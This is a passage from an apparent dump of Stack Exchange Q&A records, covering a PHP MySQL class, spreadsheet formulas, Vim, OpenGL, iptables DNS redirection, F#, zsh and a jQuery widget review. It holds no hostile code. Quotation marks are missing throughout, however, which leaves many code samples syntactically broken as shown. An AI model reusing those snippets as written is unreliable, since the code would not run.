$this->mysql['escape_string'](stripslashes(htmlspecialchars($var)));}/*-------------------------------Manage MySQL queries-------------------------------------*/final public function query($sql){ return $this->mysql['query']($sql, $this->connection) or die(mysql_error());}final public function num_rows($sql){ return $this->mysql['num_rows']($this->mysql['query']($sql, $this->connection));}final public function result($sql){ return $this->mysql['result']($this->mysql['query']($sql, $this->connection), 0);}final public function free_result($sql){ return $this->mysql['free_result']($sql);}final public function fetch_array($sql){ $query = $this->mysql['query']($sql, $this->connection); $data = array(); while($row = $this->mysql['fetch_array']($query)) { $data[] = $row; } return $data;}final public function fetch_assoc($sql){ return $this->mysql['fetch_assoc']($this->mysql['query']($sql, $this->connection));}}?>" , "title": "PHP MySQL Database class" , "tags": "php;database;mysqli" } { "id": "_webapps.104080" , "question": "I have a table that, for 30 people, marks their dietary needs. The first 3 rows are diet category, the remainder are restrictions:----------|Jane|Joe|Ali|Vegetarian| 1 | | |Vegan | | 1 | |Omnivore | | | 1 |No gluten | | | 1 |No nuts | | 1 | |Now I am trying to create lists of which restrictions are associated with which dietary type- the result will be, e.g:Vegan: No nutsVegetarian: Omnivore: No glutenI've done this in a clumsy way by specifying a separate rule for every restriction- this prints the Column A value (name) of a restriction if there is any person who has that restriction and is also vegetarian: | Vegetarian | =if(SUM(FILTER(C2:AF2,NOT(ISBLANK(C5:AF5)))), A5 & , )&if(SUM(FILTER(C2:AF2,NOT(ISBLANK(C6:AF6)))), A6 & , )&if(SUM(FILTER(C2:AF2,NOT(ISBLANK(C7:AF7)))), A7 & , )| Vegan | =if(SUM(FILTER(C3:AF3,NOT(ISBLANK(C5:AF5)))), A5 & , )&if(SUM(FILTER(C3:AF3,NOT(ISBLANK(C6:AF6)))), A6 & , )&if(SUM(FILTER(C3:AF3,NOT(ISBLANK(C7:AF7)))), A7 & , )Considering that the only difference for all the rules in the vegetarian food restrictions count is the column number, I'm sure there's a more effective way to do this, but I haven't worked it out. In pseudocode, what I'm looking for is something like this:A3..A5.for_each do |row_num| if(SUM(FILTER(C2:AF2,NOT(ISBLANK(Crow_num:AFrow_num)))), Arow_num & , )end" , "title": "What's a better way to check for the presence of a value across all rows?" , "tags": "google spreadsheets" , "accepted_answer": "I think the following does the job: =join(, , filter(A$6:A$10, mmult(N(C$6:AF$10), N(transpose(C2:AF2)))))The key part is matrix multiplication. Multiplying the array of preferences by the transpose of the row such as C2:AF2 results is nonzero elements corresponding to the rows where there is an overlap with C2:AF2. Then the column with the names of restrictions is filtered by the result of multiplication, and the results joined, separated by comma-space. The N() function performs conversion of blank cells to zeros, otherwise mmult complains about non-numeric numbers. The formula uses absolute row references for 6-10 which in my example are the rows with restrictions. The reference to row 2 (vegetarian) is relative. So, copy-pasting this formula down the column will result in correct answers for other diets." } { "id": "_unix.72504" , "question": "I'm trying to install Red Hat on my Windows system but Im facing a problem. I get only one option during installation which is Minimal and even if I check Gnome desktop in customize options, I only get the command line after installation completes. What am I doing wrong?I'm using a USB stick to install. Also another stange thing is that I get many options alongside Minimal when installing in Virtualbox - like Desktop, Server, etc." , "title": "Why don't I get a Gnome GUI when I install Red Hat?" , "tags": "rhel;gnome;system installation" } { "id": "_unix.163653" , "question": "I have a bunch of swfs, these swfs include links to other swfs inside them.I use this to convert them to xml: swf2xml Disc1.swf Disc1.swf.xml. Then I use this to remove every single line that does not include an swf link: sed -i '' '/swf/!d' Disk1.swf.xmlId like to do this with 501 different swf files, there are two challenges:I have to run the command on 500 different files and specify output.I have to sed them allIm trying to build a scriptCurrently I have thisswf2xml Disc1.swfswf2xml NV.swf..." , "title": "How do I extract information with what I have right now?" , "tags": "sed;conversion" , "accepted_answer": "for swf in *.swf; do xml=$swf.xml swf2xml $swf $xml sed -i '' -n '/swf/p' $xmldone" } { "id": "_vi.4920" , "question": "I really want to know why doesn't Vim's v:lnum return 1 for very first line. I tried googling and searching in Vim's docs, but I can't find an answer. I understand that v:lnum returns line number, but I don't understand which line v:lnum is referring to..? A little aside; from help v:lnum I understand that you can only use v:lnum with some expressions including indentexpr (the one I'm interested in the most for my indentation script). workflow test 1make a .vim file. e.g check.vimappend echo v:lnumopen new vim window and :source check.vimappend some text to the file and :source check.vim againno matter how many lines I add to the file I always get 0 backI think I understand this, since Vim docs say that v:lnum only works in conjunction with some specific expressions then you would expect 0 when I'm trying to use v:lnum by itself.workflow test 2make check.vim fileappendsetlocal indentexpr=Check()function! Check() let line = getline(v:lnum) echo v:lnum lineendfunctionopen new vim window and :source check.vimappend some text to the file and :call Check() functionI DON'T get first line no matter what I do.. I can get any other lines.. e.g if I only type in one line into the file and :call Check() I get 0 and ''if I type in second line into the file and :call Check() I get 2 and check line two backif I keep adding lines to the file and run :call Check() on lets say the fifths line I get 5 and check line fiveI think I understand that v:lnum returns index of the last line typed into the file. But why doesn't it return the index of the very first line type?" , "title": "Why `v:lnum` doesn't return 1 for the first line?" , "tags": "vimscript;indentation" , "accepted_answer": "v:lnum is a Vim internal variable, that is only valid while evaluating the indentexpr, foldexpr, formatexpr options. In other contexts this does nothing. This means, that in you indentexpr or formatexpr you can find out, what line is currently being evaluated and react accordingly.For indentexpr this means, it will get filled, once you start indenting your file, e.g. using gg=G, for formatexpr this will be evaluated when defining your foldmethod and folding is enabled and formatexpr will be evaluated using the gq command.In other context, this is really invalid. It should actually be always 0 so there might be a (minor) bug there." } { "id": "_computerscience.3885" , "question": "I'm passing my vertex shader a bunch of vertices and color data. I would like to first render the triangles and then render a point at each vertex. The triangles render fine, but I can't think of a way to render the triangles and the points without making and calling a whole new method for rendering points, which I guess I could do, but I'd like to know if there is some shader magic that accomplish it for me.Thanks in advance!This is my vs:#version 120uniform mat4 projection;void main() {gl_Position = projection * ftransform();gl_PointSize = 1.0;gl_FrontColor = gl_Color;}This is my fs:#version 120#define point_color vec3(1,1,1)void main() {vec4 color = gl_Color;gl_FragColor = vec4(color);}This is the code behind it. I'm using lwjgl.public void render() { glEnableClientState(GL_VERTEX_ARRAY); glEnableClientState(GL_COLOR_ARRAY); glEnable(GL_PROGRAM_POINT_SIZE); glBindBuffer(GL_ARRAY_BUFFER, VBO_id); glVertexPointer(3, GL_FLOAT, 0, 0); glBindBuffer(GL_ARRAY_BUFFER, c_id); glColorPointer(4, GL_FLOAT, 0, 0); glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, i_id); glDrawElements(GL_TRIANGLES, draw_count, GL_UNSIGNED_INT, 0); glDrawArrays(GL_POINTS, 0, draw_count_v); glBindBuffer(GL_ARRAY_BUFFER, 0); glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, 0); glDisableClientState(GL_VERTEX_ARRAY); glDisableClientState(GL_COLOR_ARRAY); glDisable(GL_PROGRAM_POINT_SIZE);}" , "title": "Can I use the same vertices to render multiple things?" , "tags": "opengl;rendering;glsl" , "accepted_answer": "If your intention is to render some textured or colored triangles and points colored diferently at the same time at vertex postions with one draw call:glDrawElements(GL_TRIANGLES, draw_count, GL_UNSIGNED_INT, 0);In order to access vertex data in vertex shader, you can create vertex array object which references to vertex buffer object with data you provided (vertices) for example at index 0.then in vertex shader you have:layout (location = 0) in vec3 vPosition; //positions for each vertexYou might then do something like that (vertex shader):flat out vec3 fpos; //not interpolated verticesout vec3 pos; //interpolated vertices (for default)void main(void){ pos = vPosition; fpos = vPosition;}And then in fragment shader:if(length(fpos-pos)<threshold) //small threshold fragColor = pointColor;else fragColor = triangleColor;" } { "id": "_softwareengineering.351721" , "question": "Consider this simplified example: In an online ticket sale website, tickets have variable prices that change over time. User searches for tickets. Once he finds a ticket he wants, clicks Buy and then a quote is issued. Quotes are persisted and they have they own locator that is sent by email. The quote page opens, showing the breakdown of what he is going to pay, and a button to pay. At this point, the ticket is still available for others. If the user clicks on Pay now, a payment process starts and a Purchase Order is issued with his details.When a purchase order is paid, the quote status must be set as Accepted and reference the purchase order; the ticket status is set as Sold. As per requirements, this must happen in an atomic fashion, meaning that it is not acceptable to have a paid purchase order referencing a non accepted quote, or a non sold ticket at any given time. Essentially, eventual consistency is not allowed.There are two big aggregates, Quote and PurchaseOrder. The first manages the breakdown calculation, taxes, etc... The second manages payment details for a quote, payment event raising, etc... The problem I have is that right now it seems I have to use a transaction across ticket, quote and purchase order when the last is paid.How may I model this honoring the Transactions should not cross aggregate boundaries rule?" , "title": "How can I avoid a cross aggregate transaction?" , "tags": "design;domain driven design;transaction;aggregate" } { "id": "_unix.78980" , "question": "I have my keyboard layouts (two of them) and switching between them configured via the following command:setxkbmap -layout us,ru -option -option grp:lctrl_lshift_toggle,ctrl:nocapsNow I want to switch to us layout, using some command line command. Is that possible?" , "title": "How do I change currently selected keyboard layout from command line?" , "tags": "x11;keyboard;keyboard layout;xkb" , "accepted_answer": "You could use xkb-switch (-n switches to next layout):xkb-switch -nor xkblayout-state (with set +1 to wrap around, in your case) :xkblayout-state set +1or xte from xautomation to simulate Control_L+Shift_L key press/release:xte 'keydown Control_L' 'keydown Shift_L' 'keyup Shift_L' 'keyup Control_L'" } { "id": "_codereview.131507" , "question": "I want to extract the creation of different objects in a factory class for the reason of reusability. The problem is that within the current code the objects are configured also for the specific problem. Now I want to reuse only the creation of the objects within another code place. if (FieldConfiguration.FIELD_TYPE.TEXTFIELD == type) { TextField textField = new TextField(caption); textField.setNullRepresentation(); bind(textField, propertyId); field = textField; if (field.getValue() == null && isNestedProperty) { ObjectProperty property = new ObjectProperty(, String.class); textField.setPropertyDataSource(property); } } else if (FieldConfiguration.FIELD_TYPE.SEARCHFIELD == type) { SearchBox searchField = new SearchBox(caption); bind(searchField, propertyId); field = searchField; } else if (FieldConfiguration.FIELD_TYPE.DATEFIELD == type) { DateField dateField = new DateField(); dateField.setCaption(caption); dateField.setDateFormat(UilibI18N.dateFormat.getText()); dateField.setResolution(Resolution.DAY); bind(dateField, propertyId);I want to reuse only the creation of the objects at another code place too, can anybody give me a hint what's the right way to extract the creation logic?" , "title": "Factory for object init and configuration" , "tags": "java" } { "id": "_webmaster.29481" , "question": "I have: www.mywebsite.com which redirects to en.mywebsite.com, es.mywebsite.com, fr.mywebsite.com depending on the user language, so there's not an indexed website in www.mywebsite.comHowever, when I put links to my website in other websites, I do not do it directly to the subdomain:Instead of this:http://fr.mywebsite.com/article/article123/I do this:http://www.mywebsite.com/article/article123/So the user gets redirected to that article in his language, or english if the user's language is not avaiable:http://en.mywebsite.com/article/article123/My question is, how do this affect SEO? Will the subdomains benefit from the backlinks? or just the main domain? (which would be a problem as there's no real content indexed there)." , "title": "SEO: Linking to a domain that redirects to a subdomain" , "tags": "seo;domains;redirects;subdomain" } { "id": "_codereview.11858" , "question": "These are the steps to determine coordinates of the 4 points (P1, P2, P3, P4) that make up a tangential trapezoid connecting to circles. Another way of looking at it is to think of the tangential segments of being the parts of a belt that would not be wrapped around the pulleys. The math should work regardless of the orientation of the two circles in coordinate space.Code (usage @ bottom):internal class TrapezoidBuilder{ private const double RadiansToDegrees = 180/Math.PI; private readonly double _bufferDistanceC0; private readonly double _bufferDistanceC1; private readonly Point _pointC0; private readonly Point _pointC1; public TrapezoidPoints TrapezoidPoints; public TrapezoidBuilder(Point pointC0, Point pointC1, double bufferDistanceC0, double bufferDistanceC1) { _pointC0 = pointC0; _pointC1 = pointC1; _bufferDistanceC0 = bufferDistanceC0; _bufferDistanceC1 = bufferDistanceC1; TrapezoidPoints = new TrapezoidPoints(); CalculateTrapezoidPoints(); } public void CalculateTrapezoidPoints() { // Get the angle of the line C0-C1 in degrees. This will be used in conjunction with angleA to determine the vector of these points double angleRelativeToPositiveXAxis = CalculateAngleRelativeToXAxis(_pointC0, _pointC1); // Get angleA double angleA = CalculateAngleA(_pointC0, _pointC1, _bufferDistanceC0, _bufferDistanceC1); //// Calculate P1 and P2 coordinates first double positiveAngle = angleRelativeToPositiveXAxis + angleA; double cosPositiveAngle = Math.Cos(positiveAngle/RadiansToDegrees); double valueToAddToC0X = cosPositiveAngle*_bufferDistanceC0; // Set P1's X coordinate TrapezoidPoints.P1.X = _pointC0.X + valueToAddToC0X; double valueToAddToC1X = cosPositiveAngle*_bufferDistanceC1; // Set P2's X coordinate TrapezoidPoints.P2.X = _pointC1.X + valueToAddToC1X; double sinPositiveAngle = Math.Sin(positiveAngle/RadiansToDegrees); double valueToAddToC0Y = sinPositiveAngle*_bufferDistanceC0; // Set P1's Y coordinate TrapezoidPoints.P1.Y = _pointC0.Y + valueToAddToC0Y; double valueToAddToC1Y = sinPositiveAngle*_bufferDistanceC1; // Set P2's Y coordinate TrapezoidPoints.P2.Y = _pointC1.Y + valueToAddToC1Y; //// Calculate P3 and P4 coordinates double negativeAngle = angleRelativeToPositiveXAxis - angleA; double cosNegativeAngle = Math.Cos(negativeAngle/RadiansToDegrees); valueToAddToC0X = cosNegativeAngle*_bufferDistanceC0; // Set P4's X coordinate TrapezoidPoints.P4.X = _pointC0.X + valueToAddToC0X; valueToAddToC1X = cosNegativeAngle*_bufferDistanceC1; // Set P3's X coordinate TrapezoidPoints.P3.X = _pointC1.X + valueToAddToC1X; double sinNegativeAngle = Math.Sin(negativeAngle/RadiansToDegrees); valueToAddToC0Y = sinNegativeAngle*_bufferDistanceC0; // Set P4's Y coordinate TrapezoidPoints.P4.Y = _pointC0.Y + valueToAddToC0Y; valueToAddToC1Y = sinNegativeAngle*_bufferDistanceC1; // Set P3's Y coordinate TrapezoidPoints.P3.Y = _pointC1.Y + valueToAddToC1Y; Debug.WriteLine(C0 + _pointC0.X + + _pointC0.Y); Debug.WriteLine(C1 + _pointC1.X + + _pointC1.Y); Debug.WriteLine(P1 + TrapezoidPoints.P1.X + + TrapezoidPoints.P1.Y); Debug.WriteLine(P2 + TrapezoidPoints.P2.X + + TrapezoidPoints.P2.Y); Debug.WriteLine(P3 + TrapezoidPoints.P3.X + + TrapezoidPoints.P3.Y); Debug.WriteLine(P4 + TrapezoidPoints.P4.X + + TrapezoidPoints.P4.Y); } private double CalculateAngleA(Point pointC0, Point pointC1, double radius0, double radius1) { double xDistance = pointC1.X - pointC0.X; double yDistance = pointC1.Y - pointC0.Y; double distance = Math.Sqrt((xDistance*xDistance) + (yDistance*yDistance)); double radius2 = radius0 - radius1; double cosA = radius2/distance; double angleAInRadians = Math.Acos(cosA); double angleAInDegrees = angleAInRadians*RadiansToDegrees; return angleAInDegrees; } private double CalculateAngleRelativeToXAxis(Point point0, Point point1) { try { // In order to use ATAN2, point C1 has to be considered as the origin, i.e. 0, 0. // So C1x is subtracted from C2x and C1y from C2y. Note that its important to subtract // the 1st value from the 2nd to help determine which quadrant the angle is in. double x = point1.X - point0.X; double y = point1.Y - point0.Y; // Get the angle in radians double angleInRadians = Math.Atan2(x, y); // Convert to degrees double angleInDegrees = angleInRadians*RadiansToDegrees; // Subtract from 90 to get the angle relative to the positive X-axis double relativeAngleInDegrees = 90 - angleInDegrees; // Return result return relativeAngleInDegrees; } catch (Exception err) { Debug.WriteLine(err.Message); } // If no result, return zero return 0; }}internal class TrapezoidPoints{ public Point P1; public Point P2; public Point P3; public Point P4;}// UsagePoint C1 = new Point(5,7);Point C2 = new Point(6.516, 7.875);double buffer0 = 1;double buffer1 = .375;var trapezoidBuilder = new TrapezoidBuilder(C1, C2, buffer0, buffer1);" , "title": "C# code to derive tangential points between two circles to create a trapezoid" , "tags": "c#;computational geometry" } { "id": "_unix.340975" , "question": "I have a Bind9 on a host.I have several guest virtual machines.I want my virtual machines to use the Bind9 located on the host. I know how to make Bind9 accept requests from my vitual machines (listen-on + allow-recursion).I want to achieve it using iptables/netfilter, without modifing Bind9 configuration (aka listen only on 127.0.0.1).--> this is just a local port redirection. I know how to do it with socat, but I'm stuck when doing it with iptables/netfilterBind listen only on 127.0.0.1, so the packets must originate from 127.0.0.1The virtual machines are on a bridge vmbr0 10.10.10.0/24The host is also on the bridge at 10.10.10.1Should I make the packets enter into a custom chain, then DNAT+SNAT them, or is there a simplier way?I did that (but does not work):sysctl -w net.ipv4.conf.vmbr0.route_localnet=1 # not sure if necessary. Let's see that when everything will workiptables --table nat --new-chain dns-preroutingiptables --table nat --append PREROUTING --source 10.10.10.0/24 --destination 10.10.10.1 --protocol udp --destination-port 53 --jump dns-preroutingiptables --table nat --append PREROUTING --source 10.10.10.0/24 --destination 10.10.10.1 --protocol tcp --destination-port 53 --jump dns-preroutingiptables --table nat --new-chain dns-postroutingiptables --table nat --append POSTROUTING --source 10.10.10.0/24 --destination 127.0.0.1 --protocol udp --destination-port 53 --jump dns-postroutingiptables --table nat --append POSTROUTING --source 10.10.10.0/24 --destination 127.0.0.1 --protocol tcp --destination-port 53 --jump dns-postroutingiptables --table nat --append dns-prerouting --jump DNAT --to-destination 127.0.0.1iptables --table nat --append dns-postrouting --jump SNAT --to-source 127.0.0.1" , "title": "Common DNS for virtual machines - with iptables/netfilter" , "tags": "iptables;port forwarding;bind;nat" , "accepted_answer": "You have to use sysctl -w net.ipv4.conf.XXX.route_localnet=1 as you did, but probably on the virtual Ethernet interface.This allow the kernel to keep martin packets. Also keep in mind that locally generated packets does not pass into the PREROUTING chain. So you have to use the OUTPUT chain.And finally don't try to NAT for this very special case. Use --jump TPROXY instead.I can't give you a working example by memory, you have to find the exact setup. Then please complete the answer for future reference." } { "id": "_codereview.54713" , "question": "I'm following thislet StringOfLengthConstructor<'c> (input:string, length:int, defaultConstructor:string->'c) = match input with | null -> None | x when x.Length = length -> Some(defaultConstructor(input)) | _ -> Nonetype String3 = | String3 of stringlet String3 input = StringOfLengthConstructor<String3>(input, 3, String3) type String4 = | String4 of stringlet String4 input= StringOfLengthConstructor<String4>(input, 4, String4)type String5 = | String5 of stringlet String5 input = StringOfLengthConstructor<String5>(input, 5, String5)type String6 = | String6 of stringlet String6 input = StringOfLengthConstructor<String6>(input,6, String6)and am trying to make more of these with hopefully less repetition. Can this be done without having to repeat type String3 =| String3 of string followed by this?let String3 input = StringOfLengthConstructor<String3>(input, 3, String3) See all the repetition? For the purpose of defining a zip code, a US zip code could be defined astype ZipCode = | Us of String5ortype ZipCode = | Us of String5*(String4 option) | Canadian of String3*String3" , "title": "Defining a zip code string" , "tags": "strings;f#" , "accepted_answer": "The solution can be made cleaner by re-arranging the order of the arguments and using pointfree style.let StringOfLengthConstructor<'c> (length : int) (defaultConstructor : string -> 'c) (input : string) = match input with | x when x <> null && x.Length = length -> Some (defaultConstructor input) | _ -> Nonetype String3 = String3 of stringlet String3 = StringOfLengthConstructor 3 String3However, I don't think that String5 * (String4 option) is a good definition of a zip code. The code should be validating on more than just the string length." } { "id": "_unix.295165" , "question": "I'm using zsh with prezto (on OSX and inside tmux, not sure if it matters), and from time to time history gets shared between multiple terminals.I already added unsetopt share_history and also unsetopt SHARE_HISTORY to the end of my .zpreztorc, but it keeps mixing up history.The output of setopt shows that sharehistory is still there! Even after adding unsetopt sharehistory." , "title": "zsh keeps sharing history even when shared history is disabled" , "tags": "zsh;prezto" , "accepted_answer": "Try adding:setopt no_share_historyunsetopt share_historyto ~/.zshrc ... this should work" } { "id": "_codereview.63193" , "question": "This is a follow up on JS Progress Bar WidgetI've rewritten it as a jQuery Widget Factory widget, attempting to follow that standard as much possible and fixing the various problems pointed out in my first question.Here is a demo fiddle: http://jsfiddle.net/slicedtoad/eo5hy4LL/Ooh, I didn't know this was live. Duplicate of the fiddle:////////////////////////////// Progress Tracker Widget(function($){ $.widget(dan.progresstracker, { options: { step: 1, // current step steps:['','',''], // default is 3 no-name steps jumpDirection: back, // values: none,back,forward,both jumpables: .step-number, .step-label, // callbacks jumpforward: null, jumpback: null, complete: null }, // Constructor _create: function() { this.options.step = this._constrain(this.options.step); this.element.addClass(hasProgressTracker) .append(this._build()); this._bind(); this.update(); }, // Unbinds and then binds a click event for each jumpable _bind: function(){ this._off(this.element,click); var onMap = {}; onMap[click +this.options.jumpables] = function(e){ this._stepClick(e); }; this._on(this.element, onMap); }, // Limit step to an integer >= 0 and <= the number of steps+1 _constrain: function(step){ step = parseInt(step) || 0; if(step>this.options.steps.length) {return this.options.steps.length+1;} else if(step<0) {return 0;} else {return step;} }, // Builds and returns a jQuery element that is the progress tracker in a neutral state. _build: function() { var $node = $(<ol class='progresstrack container'></ol>); var html = ; for(var step in this.options.steps){ html += <li class='step'> + <div class='step-number'>+(parseInt(step)+1)+</div> + <div class='step-line'></div> + <div class='step-label-wrap'> + <label class='step-label'>+this.options.steps[step]+</label> + </div> + </li>; } $node.html(html); return $node; }, // Options setter override. // Handles options that need updates or rebuilds after changing _setOptions: function( options ) { var that = this, update = false, rebuild = false, rebind = false; $.each( options, function( key, value ) { if(key === step){ that.step(value); // use the setter }else{ that._setOption( key, value ); if(key === jumpDirection){ update = true; }else if(key === steps){ rebuild = true; }else if(key === jumpables){ update = true; rebind = true; } } }); if( rebuild ){ this.element.find(.progresstrack).replaceWith(this._build()); this.step(this.options.step); this.update(); } if( rebind ){ this._bind(); } if( update ){ this.update(); } }, // Handler for user clicking on a jumpable element // Triggers relevant callbacks _stepClick: function(e){ var step = this.element.find(.step) .index($(e.target).closest('.step'))+1; var jumpable = ($(e.target).parents('.jumpable').length)?true:false; if(step===this.options.step){ return; // Nothing changed, return }else if(step>this.options.step && jumpable){ if(!this._trigger(jumpforward,e,{step:step})){ return; // Canceled } }else if(step<this.options.step && jumpable){ if(!this._trigger(jumpback,e,{step:step})){ return; // Canceled }; }else{ return; // Wrong direction } this.step(step); // Apply change }, // step() gets the current step // step(int) sets the current step. Does not trigger callbacks except complete. step: function(step){ if(typeof step === 'undefined') { return this.options.step; }else{ this.options.step = this._constrain(step); this.update(); if(this.options.step === this.options.steps.length+1){ // if complete this._trigger(complete); } return this; } }, // Increments step by one. // Convenience function since this will usually be the most common action. // Only triggers complete callback and only if it actually changed to complete (and wasn't there already) next: function(){ var nextstep = this.options.step+1; if(this._constrain(nextstep)===this.options.step){ return this; }else{ this.step(nextstep); return this; } }, // Update the <ol> and <li> classes to reflect the current step update: function(){ // Reset progress bar status $e = this.element; $e.find(.step-current).removeClass(step-current); $e.find(.step-finished).removeClass(step-finished); $e.find(.jumpable).removeClass(jumpable); // If complete if(this.options.step>this.options.steps.length){ $e.find('.step').addClass(step-finished); $e.addClass(complete); if((this.options.jumpDirection===back || this.options.jumpDirection===both)){ // if jumpback // add jumpable to all steps $e.find(.step).addClass(jumpable); } return this; } // If current == 0 (pre-first step) if(this.options.step===0){ if((this.options.jumpDirection===forward || this.options.jumpDirection===both)){ // if jumpforward // add jumpable to all steps $e.find(.step).addClass(jumpable); } return this; } // Set current step var $current = $e.find(.step:nth-child(+this.options.step+)) .addClass(step-current); var $prevAll = $current.prevAll('.step').addClass(step-finished); if((this.options.jumpDirection===back || this.options.jumpDirection===both)){ $prevAll.addClass(jumpable); } if((this.options.jumpDirection===forward || this.options.jumpDirection===both)){ $current.nextAll('.step').addClass(jumpable); } return this; } });})(jQuery);////////////////////////////// Usage// Tracker 1 test - all options and callbacksvar $pbar = $(#ProgressTracker1);var steps = [[Date,Items,Preview,Details,Confirm],[Cart,Shipping,Checkout]];var toggle = 0;$pbar.progresstracker({ step: 1, steps:steps[toggle], jumpDirection:both, jumpforward:function(e,data){ if(data.step === 3){ $(#Events).append(<br/>Cancelled forward jump to +data.step); return false; } $(#Events).append(<br/>Jumped forward to step +data.step); }, jumpback:function(e,data){ $(#Events).append(<br/>Jumped back to step +data.step); }, complete:function(){ $(#Events).append(<br/>Progress complete.); }});$(#next).on(click,function(){ $pbar.progresstracker(next)});$(#previous).on(click,function(){ $pbar.progresstracker(step,$pbar.progresstracker(step)-1)});$(#steps).on(click,function(){ toggle = !toggle; $pbar.progresstracker(option,{steps:steps[toggle|0]});});$(#jumpdir).on(change,function (e) { var valueSelected = this.value; $pbar.progresstracker(option,{jumpDirection:this.value});});// Tracker 2 test - defaultvar $pbar2 = $(#ProgressTracker2).progresstracker();$(#next2).on(click,function(){ $pbar2.progresstracker(next)});$(#previous2).on(click,function(){ $pbar2.progresstracker(step,$pbar2.progresstracker(step)-1)});/*Default progresstrack CSS*/ol.progresstrack { list-style-type: none; padding-left:0;}.progresstrack.container { display: flex; align-items: flex-end; padding-top: 22px;}.progresstrack .step { flex-grow:1; position:relative; text-align: center; z-index:1;}.progresstrack .step-number { position:relative; z-index:10; width: 20px; height: 20px; border-radius: 10px; background-color:white; display:inline-block; text-align: center; line-height: 20px; border:1px solid;}.progresstrack .jumpable .step-number:hover{ cursor: pointer;}.progresstrack .step-finished .step-number{ background-color: green;}.progresstrack .step-current .step-number{ background-color:lightblue;}.progresstrack .step-label-wrap { position: absolute; width:100%; top: -22px;}.progresstrack .step-label { padding: 0px 1px;}.progresstrack .step-line { width: 100%; height: 0px; overflow: auto; margin: auto; position: absolute; top: 0; left: 0; bottom: 0; right: -100%; background-color: white; border:1px solid;}.progresstrack .step:last-of-type .step-line{ display:none;}/*User CSS*/#ProgressTracker1.hasProgressTracker{ border:1px solid; background-color:lightgrey;}#ProgressTracker1 .progresstrack .step-number{ -webkit-transition: .2s; -moz-transition: .2s;}#ProgressTracker1 .progresstrack .step-line{ -webkit-transition: .2s; -moz-transition: .2s; }#ProgressTracker1 .progresstrack .jumpable .step-number:hover{ -webkit-transform: scale(1.2); -moz-transform: scale(1.2);}#ProgressTracker1 .progresstrack .step-finished .step-line { background-color: green;}#ProgressTracker1 .progresstrack .step-current .step-line { background-color: lightblue;}#ProgressTracker1 .progresstrack .step-line { height:1px; background-color: white;}#ProgressTracker1 .step-label { -webkit-transition: .2s; -moz-transition: .2s; border:1px solid; padding:0px 2px; background:white;}#ProgressTracker1 .step-finished .step-label{ background-color: green;}#ProgressTracker1 .step-current .step-label { background-color: lightblue;}#ProgressTracker1 .progresstrack .jumpable .step-label:hover{ cursor: pointer;}<script src=https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js></script><script src=//ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js></script><div id='ProgressTracker2'>Default Progress Tracker</div><button type='button' id='previous2'>Previous</button><button type='button' id='next2'>Next</button><hr/><div id='ProgressTracker1'>Custom Progress Tracker</div><button type='button' id='previous'>Previous</button><button type='button' id='next'>Next</button><button type='button' id='steps'>Change Steps</button><br/><label for='jumpdir'>Jump Direction</label><select id='jumpdir'> <option>both</option> <option>forward</option> <option>back</option> <option>none</option></select><p id=Events>Tracker Callbacks: </p>Focuslow couplingsimple interface allowing for lots of flexibility without too many optionscustomization: as much as possible with just css, other things with the options method.standards. I tried to use the patterns/conventions that are outlined in the widget factory docs but there are something I'm unsure about:naming conventions (of everything, but specifically the css classes: do the hyphenated class names make sense?)public methods vs _setOptions override. For example, I have a next method for convenience but no previous method since this is a less used action and still available through options. Does this make sense?support for modern browsers only.One thing I decided not to do that was suggested in my previous answer was to define the ol in the html and have the widget add the functionality. I attempted but it got too messy and I've dropped it.InterfaceMethodsprogresstracker(options): Creates a progress tracker with the specified options object.step(step): Changes the tracker's current step.next(): Changes the tracker to the next step.update(): Sets the appropriate css classes according to the current step. This should be called automatically unless the progresstracker is modified by another class.Optionsstepintdefault 1stepsstring arraydefault [,,]jumpDirectionstring (none, back, forward, or both)default backjumpablescomma delim string (list of classes that trigger jump events when clicked)default .step-number, .step-labeljumpforwardcallback(event,data)return false cancels the jumpjumpbackcallback(event,data)return false cancels the jumpcompletecallback()CodeProgress Tracker Widget(function($){ $.widget(dan.progresstracker, { options: { step: 1, // current step steps:['','',''], // default is 3 no-name steps jumpDirection: back, // values: none,back,forward,both jumpables: .step-number, .step-label, // callbacks jumpforward: null, jumpback: null, complete: null }, // Constructor _create: function() { this.options.step = this._constrain(this.options.step); this.element.addClass(hasProgressTracker) .append(this._build()); this._bind(); this.update(); }, // Unbinds and then binds a click event for each jumpable _bind: function(){ this._off(this.element,click); var onMap = {}; onMap[click +this.options.jumpables] = function(e){ this._stepClick(e); }; this._on(this.element, onMap); }, // Limit step to an integer >= 0 and <= the number of steps+1 _constrain: function(step){ step = parseInt(step) || 0; if(step>this.options.steps.length) {return this.options.steps.length+1;} else if(step<0) {return 0;} else {return step;} }, // Builds and returns a jQuery element that is the progress tracker in a neutral state. _build: function() { var $node = $(<ol class='progresstrack container'></ol>); var html = ; for(var step in this.options.steps){ html += <li class='step'> + <div class='step-number'>+(parseInt(step)+1)+</div> + <div class='step-line'></div> + <div class='step-label-wrap'> + <label class='step-label'>+this.options.steps[step]+</label> + </div> + </li>; } $node.html(html); return $node; }, // Options setter override. // Handles options that need updates or rebuilds after changing _setOptions: function( options ) { var that = this, update = false, rebuild = false, rebind = false; $.each( options, function( key, value ) { if(key === step){ that.step(value); // use the setter }else{ that._setOption( key, value ); if(key === jumpDirection){ update = true; }else if(key === steps){ rebuild = true; }else if(key === jumpables){ update = true; rebind = true; } } }); if( rebuild ){ this.element.find(.progresstrack).replaceWith(this._build()); this.step(this.options.step); this.update(); } if( rebind ){ this._bind(); } if( update ){ this.update(); } }, // Handler for user clicking on a jumpable element // Triggers relevant callbacks _stepClick: function(e){ var step = this.element.find(.step) .index($(e.target).closest('.step'))+1; var jumpable = ($(e.target).parents('.jumpable').length)?true:false; if(step===this.options.step){ return; // Nothing changed, return }else if(step>this.options.step && jumpable){ if(!this._trigger(jumpforward,e,{step:step})){ return; // Canceled } }else if(step<this.options.step && jumpable){ if(!this._trigger(jumpback,e,{step:step})){ return; // Canceled }; }else{ return; // Wrong direction } this.step(step); // Apply change }, // step() gets the current step // step(int) sets the current step. Does not trigger callbacks except complete. step: function(step){ if(typeof step === 'undefined') { return this.options.step; }else{ this.options.step = this._constrain(step); this.update(); if(this.options.step === this.options.steps.length+1){ // if complete this._trigger(complete); } return this; } }, // Increments step by one. // Convenience function since this will usually be the most common action. // Only triggers complete callback and only if it actually changed to complete (and wasn't there already) next: function(){ var nextstep = this.options.step+1; 